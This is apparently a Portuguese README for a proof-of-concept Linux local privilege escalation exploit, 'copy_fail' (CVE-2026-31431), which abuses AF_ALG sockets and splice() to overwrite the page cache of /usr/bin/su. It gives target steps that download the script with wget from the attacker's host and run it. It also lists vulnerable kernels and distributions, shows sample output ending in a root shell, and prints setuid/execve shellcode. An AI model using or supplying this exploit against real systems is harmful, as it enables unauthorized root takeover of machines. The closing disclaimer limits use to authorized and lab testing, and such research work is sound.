
PoC shell exploit para CVE-2026-31431 (copy_fail) — LPE no Linux via AF_ALG + sobrescritura de page-cache com splice. Disparo único, sem condição de corrida, kernel 4.9–6.18.
Escalação local de privilégios via socket AF_ALG + sobrescrita do page-cache com splice().
Sobrescreve um binário SUID somente-leitura (/usr/bin/su) com um ELF mínimo que chama setuid(0) + execve("/bin/sh"). Sem condição de corrida, sem offsets específicos por distribuição, execução única.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 está na janela vulnerável (4.9 – 6.18) — prosseguindo
[*] Compilando...
[+] Compilado com sucesso — executando
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
O socket AF_ALG (API de criptografia) do kernel Linux, combinado com splice(), permite uma escrita em um arquivo aberto com O_RDONLY manipulando o page cache. O kernel ignora a verificação de permissão de escrita no atalho de copy-on-write dentro do caminho de splice do socket ALG — a mesma classe de bug do Dirty Pipe (CVE-2022-0847), mas acionada por um caminho de código diferente introduzido no kernel 4.9.
| Faixa de kernel | Status |
|---|---|
| < 4.9 | Não afetado (caminho de código vulnerável não presente) |
| 4.9 – 6.18 | Vulnerável (~9 anos, 2017–2026) |
| ≥ 6.19 | Corrigido |
| Distribuição | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc disponível no alvo/tmp# No alvo
wget http://<seu-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
O script irá:
/usr/bin/su com o payload de shell rootSocket AF_ALG (AEAD)
│
│ sendmsg() com dados ancilares elaborados (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (socket de operação)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
O caminho de splice do kernel dentro do socket ALG ignora a verificação de permissão de copy-on-write, escrevendo diretamente no page cache do arquivo alvo apesar de ele estar aberto somente-leitura. O payload (um ELF de 160 bytes) é escrito 4 bytes por vez em 40 iterações.
Shellcode do payload:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| Arquivo | Descrição |
|---|---|
copy_fail_exp.sh | Script Bash — compila e executa no alvo, sem necessidade de Python |
copy_fail_exp.py | Versão original em Python para referência |
copy_fail_exp_deobfuscated.py | Versão em Python desofuscada e anotada |
Apenas para testes de segurança autorizados e ambientes de CTF/laboratório. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.